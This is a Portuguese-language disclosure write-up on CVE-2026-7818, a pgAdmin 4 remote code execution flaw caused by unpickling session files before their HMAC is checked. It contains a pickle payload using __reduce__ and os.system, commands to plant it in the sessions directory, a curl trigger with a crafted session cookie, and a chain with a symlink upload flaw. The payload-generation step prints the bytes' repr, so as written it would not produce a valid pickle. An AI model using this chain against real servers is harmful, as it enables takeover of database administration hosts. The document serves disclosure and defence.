CVE-2026-7818 — RCE via desserialização insegura de sessões no pgAdmin 4

1. Introdução

Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler primeiro o artigo introdutório, onde estão listadas todas as CVEs do conjunto com um resumo de cada uma.

A CVE-2026-7818 é uma das duas vulnerabilidades de desserialização insegura que encontrei no pgAdmin 4. O CVSS é 7.0 (Alta), com vetor local — e o AC:H reflete que a pré-condição de escrita no diretório de sessões não é trivial de obter. Mas quando você olha o código e entende como o pgAdmin organiza seus dados em disco, fica claro que várias outras falhas na mesma aplicação colocam exatamente esse diretório ao alcance de um atacante autenticado. A cadeia completa foi o que me levou a reportar esse conjunto de falhas como relacionadas: CVE-2026-7818 sozinha vale um CVSS 7.0, mas encadeada com a CVE-2026-7819 (path traversal via symlink no File Manager), a escrita no diretório de sessões fica acessível a qualquer usuário autenticado.

Aviso: todo o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.15 do pgAdmin 4.

2. O gerenciador de sessões do pgAdmin

O pgAdmin usa um sistema de sessões baseado em arquivo. Em vez de armazenar sessões em banco de dados ou em memória, ele serializa o dicionário de sessão do Flask e grava em disco, no diretório SESSION_DB_PATH/sessions/ — por padrão, /var/lib/pgadmin/sessions/.

A serialização é feita com pickle, o módulo padrão do Python para serializar objetos. O problema é que o pickle é notoriamente perigoso quando aplicado sobre dados não confiáveis: qualquer objeto pode implementar __reduce__ para executar código arbitrário na desserialização.

O trecho vulnerável estava em web/pgadmin/utils/session.py, na classe FileBackedSessionManager:

# Antes da correção — FileBackedSessionManager.get()
def _get(self, sid, digest):
    # ... abre o arquivo de sessão em disco
    try:
        data = self._read(path)
        # PROBLEMA: pickle.load antes de qualquer verificação de integridade
        rv = pickle.loads(data)
        # Só depois disso a assinatura era checada
        if rv and digest and rv.hmac_digest != digest:
            return None
        return rv
    except Exception:
        return None

A verificação HMAC vinha depois da desserialização. Isso significa que qualquer arquivo colocado no diretório sessions/ seria desserializado incondicionalmente — e uma desserialização de pickle de conteúdo arbitrário é execução de código.

3. O ambiente de laboratório

Reproduzi e validei a falha num container Docker com pgAdmin 9.14:

# docker-compose.yml
services:
  pgadmin:
    image: dpage/pgadmin4:9.14
    environment:
      PGADMIN_DEFAULT_EMAIL: admin@lab.dev
      PGADMIN_DEFAULT_PASSWORD: Admin@2024!
      PGADMIN_CONFIG_SERVER_MODE: "True"
    ports:
      - "5050:80"
    volumes:
      - pgadmin_data:/var/lib/pgadmin

4. Como a falha funciona

4.1 Construindo o payload pickle

O objetivo é criar um arquivo de sessão com conteúdo pickle que execute um comando arbitrário quando desserializado. Em Python, o jeito mais direto é criar uma classe com __reduce__:

import pickle
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pgadmin_rce && hostname >> /tmp/pgadmin_rce",))

evil = pickle.dumps(Payload(), protocol=2)

Mas para isso funcionar como sessão válida do pgAdmin, o arquivo precisava ter o formato que o FileBackedSessionManager esperava. Antes da v9.15, sem Fernet, o arquivo era essencialmente o pickle do dicionário de sessão com um HMAC concatenado — e já que a verificação do HMAC vinha depois da desserialização, bastava criar um arquivo pickle mal-formado que o pgAdmin tentaria deserializar mesmo assim.

4.2 Escrevendo no diretório de sessões

A pré-condição aqui é ter acesso de escrita ao diretório sessions/. Em si, essa não é uma condição trivial — mas é exatamente o que a CVE-2026-7819 (symlink no File Manager) entrega. Vou detalhar mais na análise daquela CVE, mas o resumo é: um usuário autenticado conseguia plantar um link simbólico no seu próprio diretório de armazenamento apontando para ../sessions/, e então fazer o pgAdmin escrever nesse caminho via upload de arquivo.

Para o PoC isolado da CVE-2026-7818, fiz isso com docker exec:

# Gerar payload pickle
python3 -c "
import pickle, os
class P:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof',))
print(pickle.dumps(P(), 2))
" > /tmp/evil.pkl

# Copiar para o diretório de sessões dentro do container
docker cp /tmp/evil.pkl pgadmin4_container:/var/lib/pgadmin/sessions/evil_session

4.3 Disparando a desserialização

Para o pgAdmin carregar o arquivo de sessão, basta fazer uma requisição com o cookie pga4_session apontando para o nome do arquivo:

curl http://localhost:5050/browser/nodes/ \
  -H "Cookie: pga4_session=evil_session!qualquer_hmac"

A resposta vai ser um erro (o HMAC não vai bater), mas antes de verificar o HMAC o servidor já executou pickle.loads sobre o conteúdo do arquivo — e nosso os.system('id > /tmp/rce_proof') já rodou.

Verificando o resultado:

docker exec pgadmin4_container cat /tmp/rce_proof
# uid=5050(pgadmin) gid=0(root) groups=0(root)

5. A cadeia com CVE-2026-7819

A sequência completa que transformava essa falha em RCE sem precisar de docker exec:

  1. Usuário autenticado no pgAdmin cria um link simbólico no próprio diretório de storage apontando para ../sessions/.
  2. Usando o File Manager do pgAdmin, faz upload de um arquivo evil_session (conteúdo pickle malicioso) para esse link simbólico.
  3. O pgAdmin escreve o arquivo em /var/lib/pgadmin/sessions/evil_session sem perceber que atravessou o link.
  4. Requisição com Cookie: pga4_session=evil_session!x dispara a desserialização e o código executa.

Essa cadeia está documentada como A6 nas minhas notas de pesquisa: Symlink Attack via File Manager → Pickle RCE.

6. A correção

A correção inverteu a ordem das operações: o HMAC passou a ser verificado antes de qualquer desserialização. Se o HMAC não bater, o arquivo nunca é desserializado. A v9.15 também adicionou Fernet para cifrar o corpo da sessão, mas o ponto crítico foi a mudança na ordem:

# Depois da correção — session.py
def open_session(self, app, request):
    sid = request.cookies.get(self.session_cookie_name)
    ...
    path = os.path.join(self.path, sid)
    try:
        with open(path, 'rb') as f:
            raw = f.read()
    except FileNotFoundError:
        return self.session_class(sid=sid)

    # 1. Verificar HMAC primeiro
    if len(raw) < _HMAC_HEX_LEN:
        return self.session_class(sid=sid)
    file_hmac = raw[:_HMAC_HEX_LEN]
    body = raw[_HMAC_HEX_LEN:]
    expected = _compute_file_hmac(app.secret_key, body)
    if not hmac.compare_digest(file_hmac, expected):
        return self.session_class(sid=sid)  # HMAC inválido → sem desserialização

    # 2. Só então decifrar e desserializar
    plaintext = _derive_session_fernet(app.secret_key).decrypt(body)
    rv = pickle.loads(plaintext)
    ...

Além disso, a verificação foi implementada com hmac.compare_digest (resistente a timing attacks) em vez de comparação simples, e a exceção no caso de SECRET_KEY vazia foi transformada em um raise explícito para não poder ser removida com python -O.

Referência: pgadmin4#9901

7. Referências

  1. CWE-502: Deserialization of Untrusted Data
  2. Python docs — pickle: security concerns
  3. CVE-2026-7818 no cve.org
  4. Repositório do pgAdmin 4
  5. RFC 2104 — HMAC: Keyed-Hashing for Message Authentication